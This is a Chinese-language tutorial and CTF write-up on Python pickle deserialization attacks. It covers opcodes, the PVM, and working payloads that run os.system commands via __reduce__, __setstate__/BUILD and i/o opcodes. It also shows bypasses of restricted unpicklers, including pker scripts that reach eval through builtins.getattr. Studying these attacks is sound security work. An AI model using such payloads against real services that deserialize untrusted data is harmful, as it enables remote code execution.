python反序列化學習記錄

pickle與序列化和反序列化

官方文檔html

模塊 pickle 實現了對一個 Python 對象結構的二進制序列化和反序列化。 "pickling" 是將 Python 對象及其所擁有的層次結構轉化爲一個字節流的過程,而 "unpickling" 是相反的操做,會將(來自一個 binary file 或者 bytes-like object 的)字節流轉化回一個對象層次結構。 pickling(和 unpickling)也被稱爲「序列化」, 「編組」 或者 「平面化」。而爲了不混亂,此處採用術語 「封存 (pickling)」 和 「解封 (unpickling)」。python

  • pickle.dumps(object):用於序列化一個對象ios

  • pickle.loads(picklestring):用於反序列化數據,實現一個對象的構建git

測試代碼:github

#python3.7
import pickle

class test_1():
    def __init__(self):
        self.name = 'LH'
        self.age = 20

class test_2():
    name = 'LH'
    age = 20

test1 = test_1()
a_1 = pickle.dumps(test1)

test2 = test_2()
a_2 = pickle.dumps(test2)

print("test_1序列化結果:")
print(a_1)
print("test_2序列化結果:")
print(a_2)

b_1 = pickle.loads(a_1)
b_2 = pickle.loads(a_2)

print("test_1反序列化結果:")
print(b_1.name)
print(b_1.age)

print("test_2反序列化結果:")
print(b_2.name)
print(b_2.age)

運行結果:web

能夠看到序列化結果長短不一樣,這是由於待處理的類裏面有無__init__形成的,test_2類沒有使用__init__因此序列化結果並無涉及到nameage。可是反序列化以後仍然能夠獲得對應的屬性值。函數

另外:若是在反序列化生成一個對象之前刪除了這個對象對應的類,那麼咱們在反序列化的過程當中由於對象在當前的運行環境中沒有找到這個類就會報錯,從而反序列化失敗。工具

__reduce__()

相似於PHP中的__wakeup__魔法函數。若是當__reduce__返回值爲一個元組(2到5個參數),第一個參數是可調用(callable)的對象,第二個是該對象所需的參數元組。在這種狀況下,反序列化時會自動執行__reduce__裏面的操做。測試

測試代碼:優化

#python3.7
import os
import pickle

class A():
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))

a=A()
str=pickle.dumps(a)

pickle.loads(str)

運行結果:

如今把關注點放在序列化數據,以及如何根據序列化數據實現反序列化。

指定protocol

pickle.dumps(object)在生成序列化數據時能夠指定protocol參數,其取值包括:

  • 當protocol=0時,序列化以後的數據流是可讀的(ASCII碼)
  • 當protocol=3時,爲python3的默認protocol值,序列化以後的數據流是hex碼

更改代碼:

#python3.7
import os
import pickle

class A():
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))

a=A()
str=pickle.dumps(a,protocol=0)

print(str)
print(str.decode())   #將byte類型轉化爲string類型

運行結果:

不瞭解pickle的相關指令的話,以上序列化結果根本看不懂:

pickle相關的指令碼與做用:

file
這裏注意到R操做碼,執行了可調用對象,可知它其實就是__reduce__()的底層實現。

其餘指令能夠在python的lib文件下的pickle.py查看:

對運行結果分解:

涉及到指令碼,能夠把pickle理解成一門棧語言:

  • pickle解析依靠Pickle Virtual Machine (PVM)進行。
  • PVM涉及到三個部分:1. 解析引擎 2. 棧 3. 內存:
    • 解析引擎:從流中讀取指令碼和參數,並對其進行解釋處理。重複這個動做,直到遇到 . 中止。最終留在棧頂的值將被做爲反序列化對象返回
    • 棧:由Python的list實現,被用來臨時存儲數據、參數以及對象
    • memo列表:由Python的dict實現,爲PVM的生命週期提供存儲數據的做用,以便後來的使用

結合上面的指令碼與做用,能夠分析出具體的過程。

具體過程

首先是:

cnt
system

也即引入nt.system,這裏的nt是模塊os的名稱nameos.name在不一樣環境對應的值不一樣:

Windows下爲nt

Linux下爲posix

posixPortable Operating System Interface of UNIX(可移植操做系統接口)的縮寫。Linux 和 Mac OS 均會返回該值。

file

而後再執行p0,將棧頂內容寫入到列表中,因爲是列表第一個數據所以索引爲0:

file

接下去執行(Vwhoami(是將一個標誌位MASK壓入棧中,Vwhoami就是將字符串「whoami」壓入棧中:

file

接下去執行p1,將棧頂數據"whoami"寫入列表,索引爲1:

file

再執行tp2,首先棧彈出從棧頂到MASK標誌位的數據,將其轉化爲元組類型,而後再壓入棧。最後p2將棧頂數據(也即元組)寫入列表,索引爲2:

file

再執行Rp3,先將以前壓入棧中的元組和可調用對象所有彈出而後執行,這裏也即執行nt.system("whoami"),接着將結果壓入棧。最後p3將棧頂數據(也即執行結果)寫入列表,索引爲3:

file

總的過程以下:

file

因爲memo列表只是起到一個存儲數據的做用,若是目的只是想要執行nt.system("whoami"),能夠將原序列化數據中有關寫入列表的操做給去除。也即原b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'可簡化爲b'cnt\nsystem\n(Vwhoami\ntR.',仍然是能夠達到執行目的的:

pickletools模塊

官方說明:

此模塊包含與 pickle 模塊內部細節有關的多個常量,一些關於具體實現的詳細註釋,以及一些可以分析封存數據的有用函數。 此模塊的內容對須要操做 pickle 的 Python 核心開發者來講頗有用處;pickle 的通常用戶則可能會感受 pickletools 模塊與他們無關。

相關接口:

  • pickletools.dis(picklestring)

    能夠更方便的看到每一步的操做原理。如上面的例子執行該方法:

  • pickletools.optimize(picklestring)
    消除未使用的 PUT 操做碼以後返回一個新的等效 pickle 字符串。 優化後的 pickle 將更爲簡短,耗費更爲的傳輸時間,要求更少的存儲空間並能更高效地解封。也即上面分析可以通過簡化的過程:

測試代碼:

#python3.7
import pickle
import pickle
import pickletools


class person():
    def __init__(self, name, age):
        self.name = name
        self.age = age


me = person('LH', 20)
str = pickle.dumps(me)
print(str)

pickletools.dis(str)

運行結果:

b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ person'
   19: q    BINPUT     0
   21: )    EMPTY_TUPLE
   22: \x81 NEWOBJ
   23: q    BINPUT     1
   25: }    EMPTY_DICT
   26: q    BINPUT     2
   28: (    MARK
   29: X        BINUNICODE 'name'
   38: q        BINPUT     3
   40: X        BINUNICODE 'LH'
   47: q        BINPUT     4
   49: X        BINUNICODE 'age'
   57: q        BINPUT     5
   59: K        BININT1    20
   61: u        SETITEMS   (MARK at 28)
   62: b    BUILD
   63: .    STOP
highest protocol among opcodes = 2

str使用pickle.optimize進行簡化:

>>>str=b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'

>>>pickletools.optimize(str)

>>>b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00LHX\x03\x00\x00\x00ageK\x14ub.'

應用

修改剛纔源碼:

#python3.7
import base64
import pickle
import otherpeople

class person():
    def __init__(self, name, age):
        self.name = name
        self.age = age

me=pickle.loads(base64.b64decode(input()))

if otherpeople.name==me.name and otherpeople.age==me.age:
    print("flag")
else:
    print("hack")

同目錄下新建otherpeople文件夾,寫入__init.py__用於新建一個模板:

name = 'Dr.liu'
age = 21

要求咱們輸入待反序列化的數據,使得反序列化以後爲person類的一個對象me,若是me.nameme.age分別等於otherpeople模板的nameage,才能獲得flag。若是把剛纔的序列化數據中的LH20改爲模板中的Dr.liu21則能實現:

第二個hex碼對應是字符串的長度,十六進制的14對應爲十進制20

可是此時咱們並不知道otherpeople模板的內容,因此並不能實現。

根據前面的例子可知,引用模塊在pickle中對應的操做碼是c,因此能夠根據其書寫規則獲得otherpeople.nameotherpeople.age對應的序列化數據是cotherpeople\nname\ncotherpeople\nage\n,將原數據進行替換:

再對替換的結果進行base64編碼:

>>>import base64

>>>base64.b64encode(b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00namecotherpeople\nname\nX\x03\x00\x00\x00agecotherpeople\nage\nub.')

>>>b'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu'

驗證:

限制module

pickle源碼中,c指令是基於find_class這個方法實現的,然而find_class能夠被出題人重寫。若是出題人只容許c指令包含__main__這一個module、不容許導入其餘module,也即剛纔的cotherpeople被限制了。此時又該如何繞過呢?

回到剛纔的測試代碼的運行結果,發現pickle是構建person的過程是徹底可視的,並且是在__main__這個module進行構建的:

那麼就能夠根據pickle語法,插入一段數據,這段數據用於在__main__中構建一個otherpeople對象,此時otherpeople.nameotherpeople.age也是可控的,這樣咱們就能夠覆蓋掉本來未知的Dr.liu21,只需確保和person.nameperson.age相等便可。

先放出示意圖:

解釋一下惡意插入的序列化數據:

b'c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0'

一、首先類比構建person對象時的語法:c__main__\notherpeople\n}

二、接下去(操做碼錶示將壓入一個元組到棧中,V操做碼錶示跟在它後面的數據是一個字符串,K操做碼錶示跟在它後面的數據是一個整型數字,Vname\nVsunxiaokong\nVage\nK\x16表示的元組爲:{'name':'sunxiaokong','age':22}

三、而後u操做碼規定了即將構建的對象的界限,b操做碼用於構造對象

四、0操做碼將該對象(棧頂元素)從棧彈出

通過上面的操做此時otherpeople.name='sunxiaokong'otherpeople.age=22,所以後半段person中相應的屬性也應該改爲相同的值:

X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16

驗證:

>>>base64.b64encode(b'\x80\x03c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16ub.')

b'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu'

以上思路也是「2020高校戰疫」webtmp的解題思路

限制__reduce()__

若是限制__reduce()__,須要另一個知識點:

關注操做碼b

跟進到load_build函數:

def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        setstate = getattr(inst, "__setstate__", None)   #獲取inst的__setstate__方法
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

把當前棧棧頂數據記爲state,而後彈出,再把接下去的棧頂數據記爲inst

關注到第七行的setstate(state),這意味着能夠RCE,可是inst原先是沒有__setstate__這個方法的。能夠利用{‘__setstate__’: os.system}來BUILD這個對象,那麼如今inst__setstate__方法就變成了os.system;另外再確保state也即一開始的棧頂元素爲calc.exe,則會執行setstate(「calc.exe」) ,也即os.system("calc.exe")

上面的操做對應的payload以下:

b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'

驗證代碼:

import os
import pickle
import pickletools

class A():
    #balabala·····

str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
pickle.loads(str)

除了操做碼b能夠利用外,還有io操做碼能夠實現RCE:

b'(S\'whoami\'\nios\nsystem\n.'
b'(cos\nsystem\nS\'whoami\'\no.'

payload的構造能夠參照對應的做用:

file

工具pker

Github地址

藉助該工具,能夠省去人工構造payload,根據本身的相關需求能夠自動生成相應的序列化數據。

pker主要用到GLOBALINSTOBJ三種特殊的函數以及一些必要的轉換方式:

  • GLOBAL :用來獲取module下的一個全局對象,對應操做碼c ,如GLOBAL('os', 'system')
  • INST :創建併入棧一個對象(能夠執行一個函數),對應操做碼i ,如INST('os','system','ls') ,輸入規則按照:module,callable,para
  • OBJ :創建併入棧一個對象(傳入的第一個參數爲callable,能夠執行一個函數),對應操做碼o。 如OBJ(GLOBAL('os','system'),'ls') ,輸入規則按照:callable,para
  • xxx(xx,...): 使用參數xx調用函數xxx,對應操做碼R
  • li[0]=321或globals_dic['local_var']='hello' :更新列表或字典的某項的值,對應操做碼s
  • xx.attr=123:對xx對象進行屬性設置,對應操做碼b
  • return :出棧,對應操做碼0

使用例子:

一、用於執行os.system("whoami")

s='whoami'
system = GLOBAL('os', 'system')
system(s)    # b'R'調用 return

二、全局變量覆蓋舉例:

secret=GLOBAL('__main__', 'secret') 
secret.name='1'
secret.category='2'

以剛剛上面那道只容許引入__main__模塊的變量覆蓋爲例,對應的pker代碼:

otherpeople = GLOBAL('__main__','otherpeople')
otherpeople.name = 'sunxiaokong'
otherpeople.age = 22
new = INST('__main__', 'person','sunxiaokong',20)
return new

Code-Breaking picklecode

import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)

        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(base64.b64decode(input()))

代碼的主要內容就是限制了反序列化的內容,規定了咱們只能引用builtins這個模塊,並且禁止了裏面的一些函數。可是沒有禁止getattr這個方法,所以咱們能夠構造builtins.getattr(builtins,’eval’)的方法來構造eval函數。pickle不能直接獲取builtins一級模塊,但能夠經過builtins.globals()得到builtins;這樣就能夠執行任意代碼了。

用pker構造payload:

#先借助builtins.globals獲取builtins模塊
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')

#再用builtins模塊獲取eval函數
eval=getattr(builtins,'eval')
eval('ls')
return
相關文章
相關標籤/搜索